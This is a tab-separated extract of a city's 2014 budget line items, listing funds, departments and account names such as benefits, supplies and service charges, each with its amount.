5949	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	401801.0	PROCEEDS	622.0	Other	2014	-60000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-60000.0
5950	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	6952.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6952.0
5951	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	4460.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4460.0
5952	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	5290.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5290.0
5953	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2014	295684.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	295684.0
5954	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	205871.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	205871.0
5955	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	4682.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4682.0
5956	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	251251.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	251251.0
5957	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	4757.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4757.0
5958	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	10112.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10112.0
5959	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100.0
5960	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	122291.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	122291.0
5961	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2014	650.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	650.0
5962	BA	IS	55	Info Tech Rplcmnt & Svcs Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	407250.0	TELECOMMUNICATIONS SERVICES	650.0	Charges for Service	2014	-530924.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-530924.0
5963	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	999047.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	999047.0
5964	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	186801.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	186801.0
5965	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	7767.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7767.0
5966	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	221500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	221500.0
5967	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2014	77884.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	77884.0
5968	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2014	13867.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13867.0
5969	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	132401.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	132401.0
5970	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	38124.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	38124.0
5971	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	15528.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15528.0
5972	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511773.0	RETIREMENT - MISC. EMPL	812.0	Salaries and Wages	2014	157806.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	157806.0
5973	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511746.0	MED TRUST - MISC. EMPL	812.0	Salaries and Wages	2014	38200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	38200.0
5974	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511746.0	MED TRUST - MISC. EMPL	812.0	Salaries and Wages	2014	53690.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	53690.0
5975	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2014	117551.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	117551.0
5976	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	511748.0	DENTAL	806.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
5977	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511749.0	VISION	806.0	Salaries and Wages	2014	3161.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3161.0
5978	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511748.0	DENTAL	806.0	Salaries and Wages	2014	104733.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	104733.0
5979	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511748.0	DENTAL	804.0	Salaries and Wages	2014	5317.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5317.0
5980	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511748.0	DENTAL	816.0	Salaries and Wages	2014	10766.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10766.0
5981	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511749.0	VISION	816.0	Salaries and Wages	2014	1103.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1103.0
5982	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511749.0	VISION	808.0	Salaries and Wages	2014	3734.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3734.0
5983	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511749.0	VISION	810.0	Salaries and Wages	2014	1094.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1094.0
5984	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511748.0	DENTAL	812.0	Salaries and Wages	2014	11626.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11626.0
5985	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511774.0	RETIREMENT - AS NEEDED	812.0	Salaries and Wages	2014	9528.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9528.0
5986	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511748.0	DENTAL	812.0	Salaries and Wages	2014	12844.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12844.0
5987	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2014	3862.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3862.0
5988	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	511748.0	DENTAL	840.0	Salaries and Wages	2014	14868.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14868.0
5989	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2014	355484.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	355484.0
5990	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511748.0	DENTAL	840.0	Salaries and Wages	2014	18065.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18065.0
5991	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511748.0	DENTAL	840.0	Salaries and Wages	2014	6666.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6666.0
5992	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	275920.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	275920.0
5993	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	106560.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	106560.0
5994	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2014	515.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	515.0
5995	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	11365.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11365.0
5996	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	4496.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4496.0
5997	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2014	9913.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9913.0
5998	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	44627.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	44627.0
5999	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	407170.0	LA COUNTY PROP A O&M REIMB	610.0	Intergovernmental	2014	-28260.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-28260.0
6000	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	3287.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3287.0
6001	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2014	1666.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1666.0
6002	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	103.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	103.0
6003	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	4675.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4675.0
6004	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	5214.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5214.0
6005	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2014	278.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	278.0
6006	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2014	837.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	837.0
6007	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION		UNEMPLOYMENT	804.0	Salaries and Wages	2014	344.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	344.0
6008	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401730.0	LIBRARY CAFE UTILITY REIMBURSE	622.0	Other	2014	-11000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-11000.0
6009	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	407720.0	ENCLOSURE PLAN CHECK FEES	650.0	Charges for Service	2014	-56258.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-56258.0
6010	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	8823.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8823.0
6011	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		DCAP	808.0	Salaries and Wages	2014	492.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	492.0
6012	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511749.0	VISION	840.0	Salaries and Wages	2014	816.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	816.0
6013	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2014	12128.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12128.0
6014	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511749.0	VISION	840.0	Salaries and Wages	2014	964.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	964.0
6015	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2014	24257.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	24257.0
6016	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2014	219.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	219.0
6017	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	577850.0	CONTINGENCY	804.0	 Supplies and Expenses	2014	41358.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	41358.0
6018	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	408000.0	INTERFUND SERVICES	650.0	Charges for Service	2014	-404541.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-404541.0
6019	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	408000.0	INTERFUND SERVICES-PKG OPS	612.0	Charges for Service	2014	-2184702.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2184702.0
6020	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	400843.0	VLF SWAP	602.0	Property Taxes	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6021	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	555210.0	TRAINING	816.0	 Supplies and Expenses	2014	4875.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4875.0
6022	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522116.0	UTIL-LIGHT/POWER-CIVIC PARKING	816.0	 Supplies and Expenses	2014	79629.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	79629.0
6023	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	15145.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15145.0
6024	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511711.0	MEDICARE-POLICE	806.0	Salaries and Wages	2014	30073.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	30073.0
6025	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	11228.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11228.0
6026	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2014	6251.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6251.0
6027	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	85211.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	85211.0
6028	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	23195.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	23195.0
6029	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	16544.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16544.0
6030	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	21499.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	21499.0
6031	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	33732.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	33732.0
6032	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT		EAP	808.0	Salaries and Wages	2014	1453.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1453.0
6033	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		UNEMPLOYMENT	808.0	Salaries and Wages	2014	77314.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	77314.0
6034	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511748.0	DENTAL	840.0	Salaries and Wages	2014	5900.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5900.0
6035	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2014	706981.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	706981.0
6036	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511749.0	VISION	840.0	Salaries and Wages	2014	6097.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6097.0
6037	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2014	46814.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	46814.0
6038	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511749.0	VISION	840.0	Salaries and Wages	2014	3725.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3725.0
6039	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2014	4581268.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4581268.0
6040	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511748.0	DENTAL	840.0	Salaries and Wages	2014	277021.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	277021.0
6041	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	201735.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	201735.0
6042	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	579240.0	CIVIC PARKING BOND DEBT SERVIC	910.0	 Supplies and Expenses	2014	2551582.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2551582.0
6043	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555870.0	GROCERY & SUNDRY ITEMS	810.0	 Supplies and Expenses	2014	1026.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1026.0
6044	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	19951.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	19951.0
6045	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2014	46172.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	46172.0
6046	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511712.0	MEDICARE-FIRE	806.0	Salaries and Wages	2014	17554.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17554.0
6047	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511712.0	MEDICARE-FIRE	806.0	Salaries and Wages	2014	235515.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	235515.0
6048	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	9058.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9058.0
6049	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	8767.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8767.0
6050	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522850.0	SPECIAL PROJECTS	806.0	 Supplies and Expenses	2014	260000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	260000.0
6051	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511748.0	DENTAL		Salaries and Wages	2014	5898.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5898.0
6052	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401005.0	SWIM CENTER-ROOM RENTALS	612.0	Charges for Service	2014	-2700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2700.0
6053	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401006.0	SWIM CENTER-SPECIAL CLASSES	612.0	Charges for Service	2014	-58867.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-58867.0
6054	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	511711.0	MEDICARE-POLICE	806.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6055	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	462170.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	462170.0
6056	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		DCAP	806.0	Salaries and Wages	2014	924.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	924.0
6057	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2014	2295.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2295.0
6058	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		UNEMPLOYMENT	840.0	Salaries and Wages	2014	18619.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18619.0
6059	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		DCAP	840.0	Salaries and Wages	2014	3228.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3228.0
6060	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		LIFE INSURANCE & AD & D	840.0	Salaries and Wages	2014	9988.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9988.0
6061	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		UNEMPLOYMENT	808.0	Salaries and Wages	2014	28104.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	28104.0
6062	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER		UNEMPLOYMENT	840.0	Salaries and Wages	2014	7635.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7635.0
6063	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER		DISABILITY INSURANCE	840.0	Salaries and Wages	2014	12394.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12394.0
6064	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	5981.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5981.0
6065	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	4933.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4933.0
6066	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		DCAP	808.0	Salaries and Wages	2014	1908.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1908.0
6067	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		UNEMPLOYMENT	808.0	Salaries and Wages	2014	2439.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2439.0
6068	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2014	89317.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	89317.0
6069	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2014	10352.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10352.0
6070	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2014	189584.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	189584.0
